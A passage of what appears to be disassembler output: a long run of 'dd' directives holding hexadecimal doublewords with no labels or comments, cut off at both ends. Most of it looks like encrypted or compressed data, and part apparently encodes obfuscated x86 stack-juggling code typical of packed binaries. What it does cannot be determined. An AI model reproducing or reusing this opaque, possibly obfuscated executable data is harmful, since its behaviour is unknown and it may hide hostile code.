0CA7E3D3Eh, 24241BF8h, 0DE243646h, 0A8885949h, 9E9552CCh dd 0EA671DD6h, 0F356694Bh, 0A412AAEDh, 0B9CEA432h, 766h dd 401033EDh, 0A20C706Ah, 0EA944CD1h, 651F33A4h, 8E52F1F1h dd 3B28BF28h, 9BFF8648h, 0A594759Fh, 50FC5A3h, 0DDD37544h dd 3D3B0D2Ch, 23CF813Ch, 64044533h, 39AF7042h, 1900000Dh dd 35562C28h, 1DEEC488h, 3A57291Dh, 1FECC684h, 0FF562C24h dd 0D17F42FBh, 400E32DFh, 0B39FA172h, 5BEDCCBDh, 786AEB65h dd 4AF12A00h, 7F6678CBh, 0A282FAE8h, 2B154CD1h, 0F29B5127h dd 79FF1384h, 824CD1A2h, 76490214h, 142BE8DAh, 0A25F1D35h dd 0E7A44CD1h, 73E173DBh, 83C57475h, 0EF8D8512h, 0C4CD1A2h dd 0D1A26616h, 84096D4Ch, 65260412h, 9DDBF75Ah, 664CD1A2h dd 878466F0h, 0FD9A90B8h, 162462FEh, 2A59A234h, 0B8A7BCAEh dd 0B79F9776h, 0A7967361h, 71E36956h, 0BB3F6E7Fh, 23F856E5h dd 5D372D1Dh, 0Dh, 9C98FA87h, 795E4CD1h, 0FFFFFDB9h, 0A286FA2Dh dd 0A6654CD1h, 0D6A6B096h, 0F9E97EC4h, 52F1F167h, 0B9BFD344h dd 424AF1DDh, 0D93DC2D4h, 0B1C7DB4Ch, 3A4AF1DDh, 7E5DCADCh dd 26B789BFh, 0DDDBA1B1h, 4CB44AF1h, 15FD0D07h, 0CED83EBFh dd 8D1A2E0Dh, 1070081Ah, 1B7B4AF1h, 4F722F09h, 0C28F7101h dd 98FA6404h, 0C27D7h, 163E0700h, 0FA526F1Ch, 13330B08h dd 0FC4E6C1Dh, 163A0506h, 5CE1391Ch, 1001EF61h, 4350222Ch dd 32DFD181h, 8D433D0Bh, 2B621A08h, 1A694AF1h, 3C0C3344h dd 0A59A893Eh, 2B1D1CD8h, 1C4AD836h, 0DE6A510Ah, 0E47C8FDCh dd 5A6697A6h, 2EBDF6F4h, 0F8F78D80h, 0F3CD57CDh, 57CA7162h dd 0A2F65C11h, 0A94AB3B4h, 12B256E5h, 0E4000000h, 0AEA09C7Fh dd 9CC8AAB8h, 490E4CD1h, 0FFFFFCE1h, 347A247Dh, 78D2E8A3h dd 0ECE9F96Eh, 8952CC8Eh, 332FB82Dh, 4ACABE45h, 3C3E288Eh dd 0CABE7506h, 7F591E4Ah, 0CABEF01Dh, 2015850h, 78EF0000h dd 0CA86126Ah, 677DD94Ah, 0A296FA9Dh, 38544CD1h, 0B9CAC93h dd 0A2F6869Ch, 99FD4CD1h, 0E5D4B58Bh, 814B8563h, 384CD1A2h dd 5867A543h, 570202F0h, 4C65158Eh, 492A4D2h, 0F2566526h dd 1C2C1300h, 8380241Eh, 0CD774CD1h, 0DBE6A385h, 15E67375h dd 9E6D483Bh, 79C3D0C2h, 0F36AC88Ah, 3A634452h, 0A256E4FBh dd 197h, 0F10C3354h, 821381CDh, 8F893891h, 0D169E593h dd 9B88EE4Ch, 5046D97Ch, 6072E55Ah dd 4CD12C18h, 0A86173E3h, 0FB4D6C91h, 48DD47FDh, 225A48DFh dd 0A94CD12Ch, 2C25534Dh, 48AE4CD1h, 18F3645Eh, 523A2C26h dd 9675E228h, 16C8A2A8h, 8E7B9700h, 0B352CC4Bh, 96B6543h dd 784ACA0Fh, 1A2C0CCFh, 0D3B8AE20h, 2E4AB315h, 100350CAh dd 0A869A910h, 0F1616314h, 3D937163h, 41000000h, 9AB17A24h dd 1820A1EEh, 72D6E5A6h, 0C750C678h, 0CC4746CBh, 0DEB4B52h dd 0CA67A1D3h, 4D0BD04Ah, 0CA1AC2EBh, 0D42A50h, 263D0000h dd 677ED0BFh, 0D6CC5910h, 4ACAE1A6h, 0E9DBC92Dh, 3E3C0C33h dd 0D4CF823Dh, 2A51BC18h, 9EDEF4F2h, 7D4CD140h, 0D1401765h dd 0D57ADC4Ch, 0A962F361h, 0BC1B793h, 0F833B916h, 0EAFCC6F0h dd 1C2C1310h, 0EA5E5D1Eh, 0FAA2667Dh, 0AF4E2D3Bh, 685CBA5h dd 0F74CD130h, 4408B548h, 7A24E0D2h, 53AFA334h, 9452C6E4h dd 0A3690F03h, 4724ACCh, 1BE6D12h, 6DF76D4Bh, 302023F8h dd 0E26E5142h, 1117852h, 80856364h, 9E4h, 6759FBC4h, 0C9B795AAh dd 5C56F0C8h, 0C7B991AFh, 6759F7CAh, 0AE91AC74h, 0FFC3D0A2h dd 8EB0614Fh, 1E1DEEC4h, 1D82582Ah, 0F1297705h, 4F277C4Ah dd 0AA9C9C7Fh, 53081ED0h, 4D12E070h, 0A2B0C8DAh, 0DB3B4CD1h dd 1F2910C9h, 0E87F2B51h, 67411133h, 0A29DDBF5h, 0F0664CD1h dd 321625E6h, 0C4843B38h, 37019EEh, 6ACD0000h, 0DC223C23h dd 0A858584Bh, 266AA0A1h, 0DEABA730h, 352F168h, 0AC6FC893h dd 0BCBDBB8Dh, 0F76D4BFDh, 0E993776Dh, 0E6A532A3h, 0C07674DAh dd 7CDBBCD6h, 68CE54ECh, 4C245892h, 86554CEAh, 0ED4568CAh dd 0FBAD56A9h, 57000002h, 82FAE87Fh, 494CD1A2h, 97E9F7EDh dd 0EF4CD1A2h, 4CD1A29Ch, 0B92E7406h, 49D208AAh, 0DBC9E203h dd 0D5EF584Ah, 0C6A52CCh, 0FF479478h, 0F4F9D763h, 900h dd 7B75DFE0h, 0A59BB18Eh, 8072D4E4h, 0A39DAD93h, 7B75DBE6h dd 0C27DC058h, 0EBD7B48Eh, 0C27C8D63h, 0CAF1A290h, 49CE847Eh dd 0F12E2359h, 835BA84Ah, 0CAF10C33h, 5CCA7C7Eh, 0A6EC8E5Eh dd 0F14B2131h, 67052F1h, 0E82E502Ch, 8E09637Fh, 5DCA54D1h dd 0D1A23745h, 4C5ABC4Ch, 9C253C3h, 70081A35h, 7B4CD1A2h dd 26B7891Bh, 0A2DBA1B1h, 0B6204CD1h, 0A326B2A0h, 0E054CD1h dd 0BCB963E8h, 2814029Fh, 33E0D218h, 0A8693F0Fh, 0B1C1B791h dd 0BED44187h, 52CCB119h, 0F55D6724h, 0AA5341F3h, 67DEB84Ch dd 0BB0D63FFh, 857BAh, 0C68E3700h, 2A221FECh, 0C3833B58h dd 2C1E1CEDh, 0C68A3556h, 2C11E9ECh, 0A0713F11h, 0D3C0B29Ch dd 828F61F1h, 1DB38DBBh, 2ED2AAB8h, 0CA194AF1h, 347A24B4h dd 0F1D5AFA3h, 98FE52F1h, 0DE704C0Fh, 0E81B27E4h, 0CEE78D2h dd 0A6D6CC5Bh, 2D4AF1DDh, 4DEFDBC9h, 0E4849E07h, 0F54D18Eh dd 97C1D1A7h, 31CEC451h, 0E452CCB5h, 0D7E71A27h, 0C36FE56Fh dd 63FF4305h, 0DDDDA2F0h, 0BD000007h, 0B1625004h, 21F2C08Ch dd 36532D19h, 23F0C288h, 1B423020h, 0C58B3607h, 2C221EEBh dd 0C78B3556h, 272118F9h, 41E7F59h, 4AF12F74h, 3352247Fh dd 7FCBF10Ch, 7BD5E8A9h, 7C7D7BE9h, 0D07A40BDh, 0E4176446h dd 0EE0F2E6Ch, 251BF9D2h, 4A18769Eh, 0FE68DEDCh, 14BAE304h dd 432256E5h, 0D4000001h, 3E3C0C33h, 0F8CA7E3Dh, 60A9720Ch dd 0A13DE310h, 120095FFh, 52CC9319h, 0E2D8D244h, 4ACAD79Eh dd 0BB83580Bh, 38B0998Bh, 0CA66A7D6h, 4A0F50h, 24C50000h dd 34A3347Ah, 5E36B57h, 0C64B454Fh, 0E352CCB3h, 675AD2F0h dd 6B797557h, 0DFAAF1E2h, 0AF743531h, 1D4E1CA2h, 0E97B9C51h dd 95455E0Fh, 843AF4C8h, 0EB79D1EFh, 0D595E7F9h, 0F7044ACAh dd 6886F759h, 0B9EE50CAh, 18000000h, 3E3C0C33h, 59CE823Dh dd 978DBB82h, 6FD9E0A1h, 87C17879h, 8EC09FB9h, 2B94CD1h dd 0EE906C46h, 0CF233FA8h, 0F052C65Ah, 1DED8B87h, 80F64ACCh dd 35168116h, 0F7D4C286h, 493044Ch, 0CC1D6E0Eh, 1301754Ah dd 7FABB81Dh, 18D6A2h, 2E11CADCh, 0CE09222h, 0FDCB6402h dd 6A3F8h, 92C28300h, 7ECEF3A0h, 8FB78784h, 80CAF0A1h dd 72DEE1B2h, 78C55D80h, 0D4B58BC5h, 7F8C66E8h, 0D6B38DC5h dd 0C98F61E7h, 2C3E3E54h, 5EC54AF1h, 41103398h, 0D1A22B51h dd 4D46B04Ch, 0F6ADC36Eh, 0C95EC89Bh, 0F2992A12h, 0AA91B9F6h dd 7DEFC95Bh, 0C1789967h, 6724B987h, 12E4F25Ah, 3E3C0C33h dd 0F8CA7E3Dh, 2D17h, 0D66ABF00h, 0BA2B710Bh, 0F1F1C2A8h dd 0E289ED52h, 0FEA08F5Ch, 54332FB8h, 9154D18Eh, 0A26C0C06h dd 0FF774CD1h, 5F0E6815h, 48A4h, 7A245200h, 62AFA334h dd 2F52CCA0h, 677CF1C7h, 0BF2365Bh, 0D1BFD51Bh, 7AB3D88Eh dd 340FCC8Bh, 0A7410A1Ch, 6DFA405Ah, 2816AC75h, 0EDD289ABh dd 0C1D3895Fh, 9CB48F3Ch, 0C4BE289Eh, 0B2C3h, 0C7775400h dd 2133A97Fh, 347A2453h, 0F1DDAFA3h, 450652F1h, 62D4D67Ah dd 4B2BF871h, 49238B8h, 4B05B893h, 9F99AF8Eh, 149E372Dh dd 2BA5B6D7h, 0C52464C9h, 60CC50h, 24FA0000h, 0E8A3347Ah dd 0CB8177D1h, 35564CD9h, 0F052F1F1h, 0DD0D6B67h, 60D64AF1h dd 0B5B393ABh, 0E6815FFh, 0A7E00989h, 719CFEDAh, 0D950C560h dd 2Eh, 0A09C7F0Bh, 0AAD4B8AEh, 0BD272319h, 0F1503A28h dd 177F52F1h, 96F7F47Eh, 84A90BC5h, 3D50C55Ch, 3B532226h dd 0C0D62B0Ch, 1A06h, 0E87FB000h, 0D1A282FAh, 9DA2494Ch dd 212F25AFh, 4CD18CE7h, 0FF106223h, 2494FFFFh, 7BD7E97Ah dd 0B2667CE9h, 9152F122h, 714705BAh, 2296E6FCh, 0F95D4AF1h dd 62D4796Bh, 0A1BCD788h, 3514E8DEh, 44562630h, 0E4FE69FEh dd 4AF1D494h, 0D41D5B77h, 70E64AF1h, 8CB267CFh, 1C0ABCBEh dd 823F1C8Bh, 0D4A1D7CBh, 0CC2A4AF1h, 0F8EE605Ah, 0D18783EAh dd 0F2C82E54h, 0A5327822h, 0F1F8C3ADh, 39AE0852h, 66EF5D62h dd 0A0B69AA5h, 4288B2D2h, 541BBDD5h, 2B3854D1h, 0DBC3517Ch dd 0EAFA5E2h, 625C3FA8h, 20B69AA5h, 0C26F0852h, 6756D4EFh dd 3B020FE1h, 218B980Dh, 0CEAC604Ah, 34DB8B98h, 9B5E29A2h dd 0B9E3AF89h, 61F5D8F0h, 0F6602F66h, 7161F661h, 0D4F7C70Bh dd 627066D0h, 0CAEAFF91h, 0AE6DFA5Ch, 0CDABB98Fh, 0D10FC9AEh dd 1C2C13EAh, 5EC8803Fh, 6A9DA764h, 8C6EF856h, 0B08F4CDBh dd 0D0F28A98h, 0F9C5D2ECh, 8D4EA855h, 2A9C9EB2h, 0EA625F3Ch dd 0FEDA2910h, 3509FEC0h, 37AD1F19h, 0DC764849h, 799554DEh dd 53CFCDC6h, 2F97ED12h, 3E7C5425h, 2F4CE84h, 33357B24h dd 0C9768736h, 0A2EE8E84h, 81F54CD1h, 0BA78113h, 142572EEh dd 2817F4CEh, 0C91BA720h, 0F735B3D8h, 460AB548h, 0B964F264h dd 9DF6D52h, 0D1A2A9CFh, 0A40FE4Ch, 0FF4F7330h, 2DABD829h dd 790433Ah, 0A2FA8290h, 95014CD1h, 0D1A2FD7Bh, 8690064Ch dd 0E0DD1BB5h, 0CB75966Ch, 0C2B7B187h, 0AC4CD1A2h, 0D1F331AFh dd 8F831481h, 4CD1A2E9h, 0A09284F2h, 0D18F86BAh, 0AF03E44Ch dd 5256E5BEh, 0A385C179h, 0E076DCE6h, 0FF7210F6h, 6427FFFFh dd 42F4F658h, 0C336254h, 0A257253Dh, 0EF9C4CD1h, 0C77D7BD3h dd 455EC75Dh, 37DABA77h, 0DE3F143h, 8A0B3DFCh, 0C95EEAD1h dd 9334445Eh, 57BF4CD1h, 8D7EC84Dh, 0A2A695D3h, 0AEC5E8FBh dd 5E2D56E5h, 38000000h, 0FAEC5C63h, 0E97A240Ch, 7AEB79D5h dd 0A4B29EA1h, 1F33A433h, 4CD1A259h, 302234A2h, 52F1F159h dd 50F8C784h, 0CCC651C6h, 4AF1DDACh, 30D5BF37h, 9C6D3EB2h dd 1CE577C4h dd 8A5360EEh, 0C07F5C44h, 0AA3CB288h, 0F146253Dh, 0B6B54D1h dd 57A760h, 27B00000h, 0D1DD4D2Bh, 3620964Ch, 0E97A2440h dd 76DF75D1h, 3433855Dh, 0E3F18FF3h, 0B5096072h, 42B452F1h dd 0C57A3DC5h, 6D0F5CF4h, 7A70E2DCh, 1D87C379h, 7D3D1E87h dd 0B288BE7Eh, 2BBCAA3Ch, 6AE2DFBCh, 0DAC8DE90h, 54D1CAB3h dd 0DBCD5D76h, 17D0456Ch, 4716800Dh, 0D9647F8Bh, 0E2197082h dd 61583123h, 291011E7h, 731511Fh, 4D3E54C1h, 0F052CC27h dd 2033A486h, 0CFEBEF56h, 51B0991h, 4ACAEC73h, 1D7F591Eh dd 50CA8CF0h, 7FCCF2A9h, 0CAF41563h, 0EE78DE4Ah, 511EF8h dd 7FC80000h, 0A5AFA19Ch, 0A32C3D5h, 1680CCF1h, 0A334A214h dd 0CCB322AFh, 0B187EF52h, 0EA625F3Ch, 9392E6FCh, 0F8FF4ACAh dd 0E9F96E60h, 4ACA9393h, 0E2AD5FECh, 45CA0AFEh, 0BBE2C3D1h dd 7450C9E6h, 0A421AC97h, 0D6709716h, 904624B2h, 0D7C086h dd 33F60000h, 0F0AB3C0Ch, 0F47BFFCCh, 0C17207D2h, 0F5DF5553h dd 824BF6F3h, 0E1A2523h, 5E5CCA54h, 8839FAE9h, 2CA3A0B8h dd 0EE5A613Ah, 18300F0Ch, 9601302Ah, 21184CD1h, 81385927h dd 96A2DAC8h, 0CD294CD1h, 7BEC6157h, 0D1961167h, 6A7CDA4Ch dd 0DF2FF8A2h, 0B7C25EEFh, 188F188Eh, 46E5938Fh, 4BA4CD1h dd 4DF26446h, 84E5FBE9h, 4152CC27h, 7F95B38Ah, 0DAAA98FEh dd 0F5ED7AC0h, 54DD8C17h, 54DF7D4h, 9F086E0Fh, 614F01BCh dd 2FC38DB0h, 5DEA7385h, 59551A78h, 39000001h, 15F6CC88h dd 3D4E2428h, 1AF7C97Dh, 3F4C2624h, 0DFF6CC84h, 311F221Bh dd 0E06E523Fh, 133F0112h, 0FB4D6C1Dh, 0D8CA4B05h, 4AF131A0h dd 3306D82Bh, 0A1724010h, 3D4AE9Ah, 0CADC7648h, 347A24FCh dd 0B322AFA3h, 87EF52CCh, 93C5B7B1h, 0A7B44ACAh, 0AE56C729h dd 9CBE50CAh, 0E8000000h, 3E3C0C33h, 62F0D289h, 0BC0D688h dd 0CC8F1838h, 6F495BEDh, 0D1A64A79h, 4D6C2F4Ch, 930E9FBh dd 99A0713Fh, 8FA9B9AFh, 0A5C6DC49h, 4852CCC7h, 56E814EEh dd 5456FAC5h, 8C27355Fh, 0EF65249Fh, 502A281Ah, 839F089Eh dd 54DDB40Ah, 7D5EC72Fh, 0D7B48EC2h, 2ED064ECh, 1D5DEA63h dd 9ACACBh, 0C97A0000h, 0E7D4B58Bh, 0BE7E8B65h, 0E3D9BA88h dd 0C5789967h, 5A9EB58Bh, 8270E0E3h, 0CFA1AD91h, 605200C2h dd 0C6BC8CB3h, 0E1978B0Ch, 0EA4AF136h, 1033C599h, 9AA17240h dd 33A2D4AEh, 3D3E3C0Ch, 1BF8CA7Eh, 3D4E2424h, 7FF0CA7Eh dd 9F9A2264h, 755FFD65h, 2A1BD65Bh, 0F573885Fh, 724008B7h dd 0CCAE9AA1h, 5F59F1CFh, 0B7B19FA2h, 594906BAh, 5EA81723h dd 0E2D84EA8h, 271AB645h, 6BA92754h, 0A863F454h, 0DD9BB790h dd 265EA817h, 423026B0h, 0DCDE6A51h, 31Bh, 0D42ACB00h dd 68421233h, 0B6B494ABh, 71470BB5h, 0E8C28CB0h, 4238182Bh dd 0D8D27E41h, 4325251Bh, 0DAD07646h, 52282419h, 0E3895394h dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 2BBEh, 56243C89h dd 2080FFBEh, 8BF58906h, 0C4832434h, 3C8B5404h, 4C48124h dd 81000000h, 4ECh, 242C8900h, 0FF08478Fh, 835F2434h, 34FF04C4h dd 0C4815D24h, 4, 0FBB003E9h, 78B84BFFh, 3062095h, 23E0FFC5h dd 0D945543Ch, 375FF81Bh, 0EB584513h, 3BC45B08h, 0E7339C04h dd 0E17E977h, 0CD680000h, 0E9062097h, 0FFFAE818h, 20990C68h dd 0E80EE906h, 9468FFFAh, 0E906209Ah, 0FFFAE804h, 209B9868h dd 0E7FAE906h, 1268FFFAh, 0E906209Dh, 0FFFAE7F0h, 209F7368h dd 0E7E6E906h, 2A68FFFAh, 0E90620A1h, 0FFFAE7DCh, 20A28E68h dd 0E7D2E906h, 0A6C6FFFAh, 57976C0Bh, 0B8C219B8h, 5A996E11h dd 0AECB20BFh, 0DF056807h, 0C16007F2h, 0CAB4E2Ah, 0B857F6F7h dd 0EB15423h, 23BA39DCh, 3E38E8EBh, 0E86DD56Dh, 0C87D926Bh dd 0B757ED3Eh, 15B25522h, 0CB6E11DEh, 44C70257h, 6007F2C1h dd 59517BC0h, 3CCAC4F5h, 0A15DA0A3h, 9ADBC72Ch, 679162FBh dd 220C2BC4h, 7437214Fh, 0A16B72F1h, 8006C72Ch, 0E81B36E0h dd 9737DE1Bh, 6991E75Dh, 5F71FCh, 0FFD40000h, 54FBF7F1h dd 870C39D6h, 0C72CA976h, 59FD7B09h, 22A73ED3h, 4099169Bh dd 1F3EC87Dh, 7DDE1FA4h, 13B13EC8h, 48910E95h, 273EC87Dh dd 0B73AFDA1h, 7D24B53Ah, 0CD3B3EC8h, 0AE0E2429h, 3ECAC4F4h dd 0E732B6BAh, 6FEB8B43h, 0F2073CD9h, 1BC72C81h, 4C84EE81h dd 0AFC69AEh, 0E5h, 0E2DC1B78h, 56EF7118h, 0B75620EFh dd 778C2C1Eh, 0B3AD37Ah, 0F0883D34h, 670B7839h, 0EA60FD7Bh dd 23C6B146h, 0CE4BB8Ah, 0FA79CC69h, 3EC82EE3h, 0E68A087Eh dd 0C13EE611h, 3EC82E38h, 0D06FF157h, 0C829418Bh, 0D376813Eh dd 2DD09F34h, 853F8690h, 0C833FFFEh, 9E3D393Eh, 3BC94901h dd 43B936BDh, 0D5C4F51Dh, 0BE4EF1FEh, 9CADBB37h, 82BE6242h dd 2CB16504h, 0D9B169Dh, 486CBB04h, 959A3EBCh, 3D13A7F3h dd 905FE664h, 0C81FC269h, 9D360AB1h, 0A743C335h, 0BAEF4E6h dd 1E4E0000h, 0DF0FE483h, 304AA140h, 0E211E689h, 2653A847h dd 677DE07Fh, 49E88F6Ah, 8423C6B2h, 40DF7E6Fh, 8629CCABh dd 0AB32B154h, 0C638E8EAh, 0DE1B5DE5h, 0DA731AE0h, 7D15E46Bh dd 0DE6C3EC8h, 0A43BDE5Ch, 0C48928CBh, 0B95D00EFh, 22A73E73h dd 0AE1E149Bh, 43C1C4F4h, 0B24499AAh, 0B1C2C72Ch, 7B7A7916h dd 0F1AB43DCh, 5C4A305Eh, 8135AB15h, 0CA99FC69h, 0C9730CABh dd 0A1B90B29h, 3DE15F59h, 0FA84h, 0B47B0100h, 6634E4C3h dd 1B181EC2h, 579C39DCh, 0B883651Ah, 8411F2EBh, 8720BFAFh dd 0F1BE45C3h, 73C96605h, 0EB9C44CCh, 0B95DDB58h, 0E929E360h dd 0EE93EC8h, 0A064E86Bh, 0C76B08BFh, 875CBB5Bh, 0BA3EC568h dd 4C2AC905h, 0AA3A10ADh, 80201E62h, 0DFEA6FA7h, 0D75CD95Ch dd 3EC8BB06h, 0BA599459h, 29939838h, 0C2C4F595h, 7F2C144h dd 0CB6A8B60h, 99781832h, 4B921194h, 26C72DE5h, 82EDE292h dd 0EA68C42Ah, 0AE47E211h, 0B30AFC9Ch, 1108F16h, 0E03D132Ch dd 2C1FDE65h, 0D472CD00h, 0F900CF56h, 0BD5AFDFBh, 976C0B8Dh dd 0E8EA55Ah, 7ED70856h, 0E0952CFCh, 0DAB343CCh, 0A6F00h dd 42DD0F00h, 8F2E489Fh, 38DF1BF0h, 96314299h, 6E15DCF3h dd 0DDF4A6CBh, 35CA6D14h, 0E2F9983Bh, 0FED57413h, 37AB4EF1h dd 0E4C6179Ch, 0D09938E8h, 5C966DF2h, 0B5BC11B5h, 5B946B0Eh dd 1B1119B8h, 579C39DCh, 4FD27518h, 1C998CC9h, 0EC8C4B1Ah dd 9F26A33Ah, 0F537F620h, 0C1AD82C4h, 44C27E22h, 0AAC59AABh dd 3CDC6E07h, 2D25E5F7h, 59531DC7h, 69E17E1Dh, 78F74EE7h dd 0C72D2561h, 0C8B18A00h, 6BB38421h, 0AB32B1E4h, 0C6C72D25h dd 2ED8C240h, 0D83B923h, 56D5FC6Ah, 2D000006h, 9B22A73Eh dd 0F55F0A14h, 0B437CDC4h, 0F5946231h, 9069F258h, 0EFC72CA3h dd 0E75CB559h, 0C72CA312h, 0A542E10Ch, 0E67F224Eh, 4977FA24h dd 40AAC55Fh, 0FC699408h, 61C4Eh, 0A73EB400h, 99169B22h dd 3EC87D40h, 4205A91Fh, 0F5529FBDh, 0B2C3B0C4h, 52D07A13h dd 30C946CBh, 0F6C72CAFh, 91B956F9h, 3AD37311h, 2CAFF409h dd 0EC8321C7h, 6E09EAB9h, 1BD579D1h, 0FC6987A5h, 5D8B3h dd 549C0F00h, 0B83B8ED3h, 0E887663Dh, 599D0348h, 982EC4F5h dd 8ACA28A3h, 138EBB1Bh, 0F18E353Ch, 0CE09D059h, 0E2685307h dd 5475CC3Eh, 0E28052D1h, 6DDBA93Ah, 0CAFF46D0h dd 0B841BE43h, 0D7597CFAh, 58ACD71h, 0A3402111h, 0D0AE199Fh dd 236EAF16h, 0FEAC783h, 8C63EA68h, 1C21C063h, 0EC892447h dd 4A25BA5Eh, 6A22D7A7h, 1BF4D19Dh, 8E7BFh, 0CA658700h dd 7A6D027h, 0C0679368h, 0EA9CA21h, 0B65D946Bh, 25AC2E13h dd 0ED02A54Ch, 2AC16003h, 0F60DAC4Bh, 0FFB356F9h, 0E7FEFF84h dd 989138E8h, 39DC1B2Ah, 0E6E37A9Ch, 0CB11E05Fh, 0DA70C4EBh dd 173DF037h, 24B2C717h, 0DA7D204Fh, 8455DA57h, 82C71717h dd 0F056D671h, 3E83DE50h, 175938B7h, 42C8C717h, 7E214EA5h dd 0E4F57AF7h, 7BC71717h, 87CA690Dh, 831CBFB8h, 75040DB9h dd 42C07DCAh, 0B17533B2h, 1DC19F33h, 17A43518h, 832253C7h dd 38E00FE4h, 17A422BBh, 690CE4C7h, 88FE7ECCh, 3D66D0Ah dd 0F8C717B4h, 0A9C64B26h, 638C6306h, 0D91C27C0h, 57C717A4h dd 18DB741Bh, 0BE9D3AE1h, 753361F0h, 6D6CF36Eh, 4C717A4h dd 3938E286h, 7918BBB4h, 10249h, 0DC1BBF00h, 16579C39h dd 9465DE77h, 923EC87Dh, 0F125C265h, 49E8066Ch, 36BF44C7h dd 49C4EBCBh, 8960EBBBh, 0D15E49DBh, 7E309h, 0D6718300h dd 33D29C33h, 8C333F94h, 3AD516EDh, 92394097h, 79588AEFh dd 0A136D980h, 3E9534D7h, 1AF1902Fh, 23973ADDh, 0E6DA23A0h dd 0F4B538E8h, 2BDC1B4Eh, 43F34983h, 16AF31B7h, 0CA6D14DDh dd 0F6993835h, 0F07316E1h, 0EB25523h, 0FAA1D82Fh, 0B45B965Dh dd 0F4936231h, 0E76CEF5Bh, 3EC81D16h, 0E23BDB69h, 6FA2AD79h dd 0AD32D6A0h, 3EC81D2Ch, 0A343C543h, 0DD7C234Eh, 8511AB21h dd 0FA952302h, 571DE2F2h, 7BCF599h, 46000000h, 7B02h, 0DC1B5800h dd 920CE62Bh, 2AFF9273h, 8F28AA4Dh, 0C88721B4h, 89C8F63Eh dd 8554DB56h, 0D53EC8C7h, 0C8C78F4Eh, 0E864E23Eh, 8554DB62h dd 0DC3EC8C7h, 3A35CA6Eh, 12E3F897h, 9369DA73h, 0CA3EC8C7h dd 6590155Ch, 1B1B23C6h, 3DB83BDAh, 0C87D27B6h, 2CCC3A3Eh dd 7615E013h, 9DB482D9h, 9B3EDD18h, 0C875BF94h, 0EF66203Eh dd 6B0284ADh, 0FFFFFED6h, 59966DD7h, 5AA412B6h, 1E000003h dd 9C39DC1Bh, 0C87DA2A7h, 7312DC3Eh, 15E46BDAh, 6C3EC87Dh dd 47EA05DEh, 9FB25CAEh, 0D09F8971h, 7AAC69Dh, 0A73CDC6Eh dd 6D8225C8h, 0FF46DF82h, 0BA44730h, 0B79A9F3Fh, 0D13EC87Dh dd 0DB6A03A6h, 8554DB56h, 0DC3EC87Dh, 7D14E56Eh, 0DD6B3EC8h dd 0EC90844Dh, 9737FC3Fh, 62E9E065h, 0EBFC14DDh, 9DD6BC4h dd 49DB4248h, 697D5D32h, 9000006h, 5AB150EBh, 5DA7D1Ch dd 4CA346EDh, 0EE5841Fh, 0B89D3CE3h, 1BC2AF22h, 0E689677Ch dd 22C1AC43h, 0EC8F687Fh, 75FA994Dh, 38E8E064h, 1B9032FBh dd 579C39DCh, 0FFD4731Ah, 55AA4DF0h, 73EE751Ch, 0C87DEDECh dd 7F06843Eh, 0C87DF900h, 8E32983Eh, 8C333EB5h, 57E568F3h dd 6E97EA2Fh, 56C0602Ch, 0D47B76FBh, 0C983B935h, 7AD50284h dd 2D000002h, 811EA33Eh, 0D97C2DC2h, 2928D63Fh, 95B689BFh dd 263CF03h, 3E330000h, 7A6C7A3h, 7C7D0289h, 133EC87Dh dd 0E86DD875h, 0C87D926Bh, 8257ED3Eh, 2B30D077h, 3FD97CC4h dd 96004F2Dh, 395B75Eh, 6D6CF36Eh, 0AB3FD974h, 18AB27CEh dd 0D974429Bh, 29A71D3Fh, 21F4C85h, 3EB60000h, 439A19A3h dd 0C53EC87Dh, 0DB6F08ABh, 7459E95Fh, 0C24AE411h, 0F8C74ECCh dd 89C15EFDh, 7E22C9B0h, 875934BBh, 4AC03EC8h, 865196ADh dd 0EC9A3FD9h, 0B0C5FB65h, 3A090396h, 4EFC9940h, 1DB31AAh dd 6D910000h, 12B65996h, 0E96C55E0h, 0C87D6B6Ah, 0F790F63Eh dd 0D97C9B4Ch, 0B7BA643Fh, 95B7174Dh, 1B74103h, 1BC10000h dd 579C39DCh, 20D27518h, 28AD3099h, 0F67B1A5Bh, 3EC87DE7h dd 0E96C0C7Ah, 0F559A06Ah, 1228B4C4h, 97ECD6F4h, 0AD82BE62h dd 0C08A23BEh, 5B9EA542h, 0D5C72CBAh, 975CF998h, 2418B558h dd 0CEFD0D8Bh, 0D806C427h, 97856B99h, 0F5F66ED8h, 4060FC68h dd 0E2000000h, 9B22A73Eh, 89304916h, 0AE4260E5h, 9B16C4F4h dd 2CB2C514h, 0A72E9CC7h, 2CB2D128h, 761AB0C7h, 92B34CBAh dd 1C909406h, 0C165FD71h, 2C47797Ch, 79F8A6C7h, 68EBD90Fh dd 0E17FFCh, 1B030000h, 579C39DCh, 6CF0731Ah, 0AA58DA10h dd 0A37C1C0Eh, 0EB842750h, 0C94CEF08h, 5636C74Ch, 0BB493EC8h dd 5622BB38h, 0C73D3EC8h, 89430827h, 493EC851h, 84088B2Eh dd 7589A6DFh, 267F0B50h, 68954A51h, 0ABAE8D31h, 7688C71Dh dd 254ADA75h, 0BFDA1B3h, 12B1BCB6h, 0D053D575h, 0F63CC053h dd 0A62D9BC4h, 0A82AC022h, 933381C3h, 15901590h, 2BC64F8Eh dd 1FA422C7h, 0C72BC6DEh, 5E7313B1h, 0B64DEC93h, 0DB4BDBBh dd 310F397Dh, 0B436C2C0h, 0E79E75E4h, 706A4349h, 408h dd 8E31CCA8h, 3BDE7D79h, 8827CEA4h, 42E58073h, 7A1DC4ADh dd 0E50CC5D7h, 2C449B3Eh, 0E411E689h, 224DA245h, 67EEE07Fh dd 0E8E211E8h, 0C37F7038h, 9837DE1Bh, 0A913443h, 0F8953C35h dd 732FC252h, 18A2A2D5h, 1B919978h, 579C39DCh, 4EAC6718h dd 0F9A77DD4h, 3AB85320h, 740FDCB3h, 892DD09Fh, 0A52AA7AAh dd 3EC82C54h, 34F99D2Bh, 3EC82CA6h, 0F97D3E83h, 0AA5128A4h dd 8BAD3D0Dh, 6CEF718Ah, 0F5F58DE7h, 9938CEC4h, 0E2DC1B91h dd 72D87514h, 0D39C57F0h, 97D6AD30h, 0A14B6CF8h, 0D9D8232Dh dd 9D24D635h, 0E02AA92Ch, 7BC4F589h, 7B14BBB6h, 5CDE7D78h dd 2FC86787h, 43009D1Bh, 0C72DD1BEh, 48B2BD67h, 0FC6A6210h dd 4546h, 0A73EBC00h, 49169B22h, 973A362Ch, 31CE4CFEh dd 0F2B07519h, 6DC4F4AEh, 0B28C4DD2h, 65E3C72Ch, 72080AD5h dd 